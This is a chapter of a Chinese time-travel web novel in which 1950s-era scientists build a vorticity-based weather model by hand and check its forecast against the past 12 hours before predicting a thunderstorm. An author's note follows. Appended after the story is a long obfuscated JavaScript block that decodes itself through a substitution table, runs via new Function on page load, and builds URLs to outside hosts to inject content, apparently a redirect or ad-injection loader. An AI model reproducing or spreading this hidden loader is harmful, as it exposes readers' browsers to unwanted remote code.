第五百四十三章 雷达初显威(上)(2 / 2)

D/Dt(jSij?v(?×)]。

而在见到这道算式的时候。

徐云裹在绷带下的表情也随之一松。

他的任务算是完成了

想必聪明的同学也看出来了。

没错!

叶笃正此时写出来的式子,正是涡度拟能方程。

它来自上头对流导数与ω的标量积,是对于定域分布的涡度。

其中最右边的散度项通常积分为零,和脑子一样不太需要。

右边剩下的两项分别对应通过涡线拉长产生涡度拟能,以及因为粘滞力损耗的涡动拟能。

从这个式子可以直观看出涡动拟能就像力学能量一样,可以被摩擦力耗散掉。

这个公式在后世讨论湍流的时候会被反复提及,算是一个标识型的公式。

更重要的是

众所周知。

大气扩散属于湍流扩散,目前有三种广泛的应用理论:

梯度输送理论、

湍流统计理论、

相似理论。

而这个式子便是湍流统计理论的重要核心,后世在这个基础上诞生了一种叫做WRF的模型。

没错。

WRF。

这是后世气象数值模拟预报最常见的模型,很多民科在家也用这玩意儿来跑数值。

当然了。

气象领域的民科要远比物理和数学领域的民科高智很多,二者存在很明显的差异。

气象领域的民科与其说是‘民科’。

不如说更像是那些开车载着天文望远镜去看星星的天文爱好者,很少有太多出格的言论。

至少不会动不动就表示自己发明出了永动机,然后一看图纸特么的是太极图

气象领域的民科最喜欢的就是在家里默默跑当地的天气模型,然后巴望着天空看自己的结果准不准确,整体来看还是比较佛系的。

总而言之。

WRF即便是在2023年都属于非常重要的模型,遑论眼下这个时期了。

即便

此时出现的只是一个雏形。

随后叶笃正又把公式引申到了等压面和等密度面领域,进行起了环流的相关计算。

期间乔彩虹这姑娘也兴致冲冲的上前旁观了两分钟,等回到徐云身边的时候表情就变成了这样:

@v@

一个小时后。

叶笃正和陶诗言合力推导出了完整的涡度场,拟合出了一个特殊的数学模型。

从徐云的角度来看。

这个模型和后世的WRF依旧出入较大——毕竟这年头没有后世的算力,但核心逻辑还是类似的。

简单来说就是先采用了圆柱切线空间和水平映射,构建起局部空间并映射其邻居,构建起等轴映射。

接着重新设计了条件局部卷积核,以满足因地制宜的卷积特征,邻近局部特征相似和地理特性不同下的相邻卷积核共享三个条件。

至于模型的数学机理则是傅里叶变换,叶笃正将混合操作构建为了连续的全局卷积,在傅里叶域中通过FFT可以有效实现,空间混合复杂度降低到了堪称最低。

模型甚至还考虑到了累积液态和冰冻水,将总降雨粒子作为诊断变量,数据集的数量还达到了20个。(灵感参考自这篇论文/abs/01000)

可以这样说。

在计算机模型还没问世的当今,这个模型可以说是人力可及的巅峰了。

另外也不知道是不是徐云的错觉。

他总感觉叶笃正的这个模型,似乎隐隐触及到了傅里叶神经算子

当然了。

只是感觉。

毕竟这方面他确实学艺不精,所以一时半会儿也没法下具体的定论。

可能是错觉,也可能是确有其事。

如果只是误判那还好说。

可如果这是真的

那么在眼下这个副本的时间线上,今后的乐子可就大了。

毕竟这玩意儿早就超出了流体力学的范畴,涉及到了AI呢

接着又过了十多分钟。

陶诗言将各个小组的数据汇总到了台前,叶笃正将自己的模型思路与众人介绍了一遍。

考虑到每个人的理解能力不同,叶笃正主要将重点放到了计算上。

也就是侧重于告诉大家怎么算,至于具体的原理先被忽略了——因为眼下他们需要的是直接的计算模型与工具,并不需要知道工具是怎么推导出来的。

十五分钟后。

各个小组开始了

最后的计算。

很快。

噼里啪啦——

帐篷内便又一次响起了算盘声,以及少数手摇计算机的操作声。

没错,手摇计算机。

这玩意儿算是一种标准的老古董设备,后世近乎绝迹了,具备很强很强的时代特征。

怎么说呢

时代性上有些类似后世的DVD和小灵通,属于特定时期的产物。

手摇计算机发明于1878,采用的大多是针轮结构,一般只能做四则运算,平方数,立方数、开平方,开立方。

如果需要输入三角函数和对数,都需要查表。

如今国内使用的手摇计算机都是“飞鱼”牌,一种在这个时期为数不多国产比进口要优秀的机械设备。

“飞鱼”牌计手摇算机第一批就生产了500台,大部分给二机部和五院了,还有一部分给了当年的156项目。

五院用这个手摇计算机算一条从导弹起飞积分到关机弹道,时间上差不多需要2个月——这还是没有变轨能力的导弹。

另外“飞鱼”牌手摇计算机由于比德国进口的精密许多,看起来娇小的如同一个女孩子。

因此它还被二机部取了个某个作者听起来很不爽的绰号:

鱼娘。

总而言之。

到了这一步,就彻底没徐云啥事儿了——如果讨论笔算和心算能力,他恐怕还比不上这个年代的众多前辈呢。

因此他便在一旁独自等起了结果,乔彩虹则与几位副业队员们一起帮忙赶起了蚊子。

过了半个小时。

上午待了一会儿便去继续研究项目的老郭下了班,带着蔡少辉从课题组匆匆赶到了现场。

也不知道是不是徐云的错觉。

他总感觉老郭咳嗽的频率比之前高了许多

一个小时后。

一份最终报告交到了叶笃正的手上。

不过叶笃正并没急着就去找老郭进行汇报,而是与陶诗言随机抽检了几个环节进行起了验证。

待核验无误后。

叶笃正方才拿着报告快步来到了老郭身边。

“郭工,程工。”

叶笃正先是对老郭打了个招呼,又扫了眼老郭身边一直待在现场的程开甲,表情严肃的说道:

“幸不辱命,全新一批的天气预测结果出炉了。”

“这份结果经过了我和陶诗言同志的复验,在数学上不存在任何的错漏。”

老郭脸色不变,但拿着公文包的左手还是隐隐加了几分力气。

看得出来,他的内心并不平静:

“叶主任,上头都推导出了什么?”

叶笃正闻言深吸一口气,翻开手中的文稿,介绍道:

“郭工,程工,首先我想要强调一件事。”

“那就是我们的气象数据收集开始于12个小时之前,不过由于效率问题,直到刚刚才出了结果。”

“也就是说在我们推导出的这份结果中,其实包括了过去十二个小时的天气预测情况。”

老郭闻言点了点头。

这句话倒是不难理解。

按照他们事先的安排。

那台气象多普勒雷达每隔20分钟会收集一次数据,数据经过过滤传到首都计算机所,再由计算机所处理成参数场后送回基地,由叶笃正他们进行进一步的计算。

如此反反复复,过程一直持续了十多个小时,接近半天好说了。

虽然由于计算效率的问题,这些数据没办法瞬时或者短时得出结果。

但这个情况并不影响过去十几个小时的气象预测结果客观存在——只是它们失去了时效性罢了。

不过从参考角度来说。

过去这12个小时的天气情况,倒是能对推导结果进行一定的验证。

好比某人寄了封猜测未来半年时局的信,由于各种原因送到收件人手里的时候已经过去一年了。

这封信虽然失去了传递信息的意义,但却可以来验证写信人对时局的判断和眼光是否正确。

想到这里。

老郭不由看了眼叶笃正,思索片刻,对他问道:

“叶主任,报告上有关过去这12个小时的预测结果是怎么样的?”

叶笃正将文件朝他翻了个面,露出了上头的内容,介绍道:

“郭工,您看。”

“根据预测结果显示,过去12个小时内降雨粒子的多普勒反馈较少,所以整个金银滩草原上都不会有降雨出现。”

“但垂直起沙效率较高,气溶胶的长直向量呈现区域性分布,垂直判别变量非常明显。”

“所以根据数据拟合,我们判断可能会在中午11点到13点间,出现小强度沙尘的西北风。”

老郭静静听完叶笃正的介绍,立马看向了一旁的周材,对他问道:

“周助理,草原今天的实际情况是什么样的?”

周材作为基地的厂长助理,当日的气象情况属于他每天必须跟进汇总的数据。

在数据化沟通尚未出现的眼下这个时期,他拿到整体气象情况的时间甚至要早于叶笃正和陶诗言。

听到老郭这番问话。

周材立刻取出了一个小本子翻动了几页,快速说道:

“过去十二小时草原上确实没有降雨记录准确来说整个海晏县都没有,倒是边上的湟源县下了一场小雨,持续时间40分钟左右。”

“至于沙尘哦,确实有一场沙尘记录,是畜牧副业队同志汇报的。”

“沙尘的起始地点在六分厂附近,时间是下午一点半左右,方向确实是西北风。”

听闻此言。

现场的氛围顿时变得有些微妙了起来。

没下雨,又出现了沙尘

前12个小时的预测

居然准了?

过了片刻。

一直沉默的程开甲开口了,他的脸上依旧保持着很克制的冷静:

“信息都对得上,不过几位同志,我认为这种情况存在有一定的偶然性,至少单靠这些结果说明不了太多的事情。”

“一来草原这边半天不下雨很常见,二来如果我没记错,现在这个季节金银滩出现的沙尘应该基本上都是西北风。”

“所以想要确定推演结果是否准确,我认为还要继续进行新一轮的评估。”

听闻此言。

现场几人也赞同的点了点头。

学过地理的同学应该都知道。

在夏季。

西南季风抵达孟加拉湾再向北推进时碰到青藏高原,即分为东、西两支:

一支沿喜马拉雅山转为东风向西吹去。

另一支则沿着山脉的走向流向我国西南地区,加剧水汽通道作用,使高原边缘降水增多,并进而因雨影作用使高原内部干旱加剧。

因此在西海这个地方。

冬、夏两季的西北风占比多达80%以上,偶尔才会出现东南风。

所以单凭半天没下雨和小规模西北沙尘的描述,确实证明不了太多东西。

想要证明推导结果足够准确,还必须要经过一次更大的考验才行。

想到这里。

老郭又看向了叶笃正,对他问道:

“叶主任,推导结果对接下来的天气预估如何?——唔比如说有没有降雨天气的预测?”

“降雨啊”

叶笃正闻言,脸上不由浮现出了一丝微妙的表情:

“当然有,而且时间距离现在很近。”

老郭心中一凛,追问道:

“哦?什么时候?”

哗啦——

叶笃正又翻过了一页报告,看着上头的结果对老郭说道:

“三个小时后,也就是晚上11点到凌晨1点之间,应该会出现一场持续半个小时的”

“雷暴。”

注:

昨天为了爆更调生物钟,晚上很晚才醒,通宵码字所以凌晨才更新。

之前就说过这种情况在爆更的时候会很常见,量不会少,但时间可能不固定,所以各位勿催哈,当天要是真不更新我会提前请假的。

!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();